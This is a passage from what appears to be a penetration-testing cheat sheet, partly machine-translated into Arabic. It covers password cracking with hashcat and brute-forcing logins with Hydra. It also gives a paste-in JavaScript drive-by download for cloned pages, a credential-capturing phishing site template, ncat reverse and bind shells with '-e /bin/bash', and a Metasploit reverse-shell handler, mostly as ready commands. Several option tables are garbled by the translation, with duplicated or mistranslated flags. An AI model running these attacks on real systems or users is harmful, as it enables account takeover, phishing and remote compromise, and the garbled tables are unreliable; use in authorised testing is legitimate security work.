| 9 | منظمة |
| charset | وصف |
|---|---|
| ؟ ل | abcdefghijklmnopqrstuvwxyz |
| ؟ ش | abcdefghijklmnopqrstuvwxyz |
| ؟ د | 0123456789 |
| ؟ | ! |
| ؟ أ | ؟ l؟ u؟ d؟ s |
| ؟ ب | 0x00 - 0xff |
هجوم القاموس:
hashcat -m 100 -a 0 --session=cracking --force --status -O B1B3773A05C0ED0176787A4F1574FF0075F7521E rockyou.txt
hashcat -m 5600 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt
يمكنك العثور على rockyou.txt Wordlist في القتلى.
القوة الغاشمة A Hash باستخدام عنصر نائب:
hashcat -m 0 -a 3 --session=cracking --force --status -O cc158fa2f16206c8bd2c750002536211 -1 ?l?u -2 ?d?s ?1?l?l?l?l?l?2?2
hashcat -m 0 -a 3 --session=cracking --force --status -O 85fb9a30572c42b19f36d215722e1780 -1 !"#$%&/()=??* -2 ?d?1 ?u?l?l?l?l?2?2?2
هجوم القاموس:
hashcat -m 16500 -a 3 --session=cracking --force --status -O eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
يمكنك أيضًا التحقق من أداة تكسير JWT الخاصة بي في إيفان-سينيك/JWT-BF.
أنا أفضل استخدام مجموعة التجشؤ في نماذج ويب القوة الغاشمة ، و Hydra للخدمات الأخرى.
هجوم القاموس على نموذج ويب تسجيل الدخول إلى HTTP Post:
hydra -o hydra_results.txt -l admin -P rockyou.txt somesite.com http-post-form '/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed!'
عندما يفرض الغاشمة نموذج ويب تسجيل الدخول ، يجب عليك تحديد Login=Login:<expected_message> للتمييز بين محاولات تسجيل الدخول الناجحة والفشل. قم بتغيير أسماء المعلمة طلب اسم username وكلمة password حسب الضرورة.
هجوم القاموس على تسجيل دخول آمن (SSH):
hydra -o hydra_results.txt -L users.txt -P rockyou.txt 192.168.8.5 ssh
يمكنك العثور على مجموعة من قوائم الكلمات المفيدة في القتلى.
| خيار | وصف |
|---|---|
| -R | استعادة جلسة سابقة تم إحباطها/تحطمها |
| -S | إجراء اتصال SSL |
| -أ | استخدم SSL V2 و V3 القديم |
| -S | إذا كانت الخدمة على منفذ افتراضي مختلف ، فحددها هنا |
| -L | تسجيل الدخول باسم تسجيل الدخول |
| -L | قم بتحميل العديد من عمليات تسجيل الدخول من ملف |
| -P | تسجيل الدخول بكلمة مرور |
| -P | قم بتحميل عدة كلمات مرور من ملف |
| -x | توليد القوة الغاشمة كلمة المرور (دقيقة: الحد الأقصى: charset) ، اكتب "-x -H" للحصول على مساعدة |
| -y | تعطيل استخدام الرموز في الغشاش |
| -ه | جرب تسجيل الدخول إلى "N" NULL ، "S" Login كمرور و/أو "R" عكس تسجيل الدخول |
| -أ | اكتب أزواج تسجيل الدخول/كلمة المرور إلى ملف بدلاً من stdout |
| -f/-f | الخروج عند العثور على زوج تسجيل الدخول/تمرير (-f لكل مضيف ، -F عالمي) |
| -M | قائمة الخوادم للهجوم ، إدخال واحد لكل سطر ، ": لتحديد المنفذ |
| الخدمات المدعومة |
|---|
| FTP [S] |
| http[s]-{get|post}-form |
| mysql |
| smb |
| smtp[s] |
| snmp |
| ssh |
| telnet[s] |
| vnc |
For more supported services read the manual.
| Brute Force Syntax | وصف |
|---|---|
| دقيقة | Minimum number of characters in the password |
| الأعلى | Maximum number of characters in the password |
| CHARSET | Charset values are: "a" for lowercase letters, "A" for uppercase letters, "1" for numbers, and for all others, just add their real representation |
Brute force attack on FTP:
hydra -o hydra_results.txt -l admin -x 4:4:aA1!"#$% 192.168.8.5 ftp
After you have collected enough usernames from the reconnaissance phase, it is time to try and brute force some of them.
Find out how to generate a good password spraying wordlist at ivan-sincek/wordlist-extender, but first you will need a few good keywords that describe your target.
Such keywords can include a company name, abbreviations, or words that describe the company's services, products, etc.
After you generated the wordlist, use it with tools such as Hydra, Burp Suite Intruder, etc., to brute force login web forms. Hydra can attack authentication mechanisms for all kinds of services and ports.
If strong password policy is enforced, lazy passwords usually start with one capitalized word followed by a few digits and one special character at the end (eg, Password123!).
You can also use the generated wordlist with hashcat, eg, to crack NTLMv2 hashes that you have collected using LLMNR responder during a network penetration testing, etc.
Find out how to embed a PowerShell script into an MS Word document at ivan-sincek/powershell-reverse-tcp.
To force users to download a malicious file, copy and paste this JavaScript code block on any cloned web page:
function download ( url , type , name , method ) {
var req = new XMLHttpRequest ( ) ;
req . open ( method , url , true ) ;
req . responseType = 'blob' ;
req . onload = function ( ) {
var blob = new Blob ( [ req . response ] , { type : type } )
var isIE = false || ! ! document . documentMode ;
if ( isIE ) {
// IE doesn't allow using a blob object directly as link
// instead it is necessary to use msSaveOrOpenBlob()
if ( window . navigator && window . navigator . msSaveOrOpenBlob ) {
window . navigator . msSaveOrOpenBlob ( blob , name ) ;
}
} else {
var anchor = document . createElement ( 'a' ) ;
anchor . href = window . URL . createObjectURL ( blob ) ;
anchor . download = name ;
anchor . click ( ) ;
// in Firefox it is necessary to delay revoking the ObjectURL
setTimeout ( function ( ) {
window . URL . revokeObjectURL ( anchor ) ;
anchor . remove ( ) ;
} , 250 ) ;
}
} ;
req . send ( ) ;
}
// specify your file here, use only an absolute URL
download ( 'http://localhost/files/pentest.pdf' , 'application/pdf' , 'pentest.pdf' , 'GET' ) ;
// download('http://localhost/files/pentest.docx', 'plain/txt', 'pentest.docx', 'GET');To try it out, copy all the content from social_engineeringdriveby_download to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
To try it out, copy all the content from social_engineeringphishing_website to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
Captured credentials will be stored in social_engineeringphishing_websitelogscredentials.log.

Figure 2 - Phishing Website
Read the comments in social_engineeringphishing_websiteindex.php to get a better understanding on how all of it works.
You can modify and expand this template to your liking. You have everything that needs to get you started.
You can easily customize CSS to make it look more like the company you are testing, eg, change colors, logo, etc.
Check the standalone redirect templates in social_engineeringphishing_websiteredirects directory.
Use SingleFile (Chrome)(FireFox) browser extension to download a web page as a single HTML file, then, rename the file to index.php .
Here you can find a bunch of random stuff.
Download a file:
curl somesite.com/somefile.txt -o somefile.txt
Upload a file:
curl somesite.com/uploads/ -T somefile.txt
| خيار | وصف |
|---|---|
| -D | Sends the specified data in a POST request to the HTTP server |
| -H | Extra header to include in the request when sending HTTP to a server |
| -أنا | Include the HTTP response headers in the output |
| -k | Proceed and operate server connections otherwise considered insecure |
| -o | Write to file instead of stdout |
| -T | Transfers the specified local file to the remote URL, same as PUT method |
| -v | Make the operation more talkative |
| -x | Use the specified proxy ([protocol://]host[:port]) |
| -X | Specifies a custom request method to use when communicating with the HTTP server |
Find out how to test a web server for various HTTP methods and method overrides at ivan-sincek/forbidden.
[Server] Set up a listener:
ncat -nvlp 9000
ncat -nvlp 9000 > received_data.txt
ncat -nvlp 9000 -e /bin/bash
ncat -nvlp 9000 -e /bin/bash --ssl
ncat -nvlp 9000 --ssl-cert crt.pem --ssl-key key.pem
ncat -nvlp 9000 --keep-open <<< "HTTP/1.1 200 OKrnrn"
[Client] Connect to a remote host:
ncat -nv 192.168.8.5 9000
ncat -nv 192.168.8.5 9000 < sent_data.txt
ncat -nv 192.168.8.5 9000 -e /bin/bash
ncat -nv 192.168.8.5 9000 -e /bin/bash --ssl
ncat -nv 192.168.8.5 9000 --ssl-cert crt.pem --ssl-key key.pem
Find out how to create an SSL/TLS certificate at ivan-sincek/secure-website.
Check if connection to a specified TCP port (eg, port 22 or 23) is possible:
for i in {0..255} ; do ncat -nv " 192.168.8. ${i} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; done
for ip in $( cat ips.txt ) ; do ncat -nv " ${ip} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; doneSet up a listener (change the PAYLOAD, LHOST, and LPORT as necessary):
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit
Use ngrok to give your local web server a public address, but do not expose the web server for too long if it is not properly hardened due to security concerns.
I advise you not to transfer any sensitive data over it, just in case.
Credits to the authors!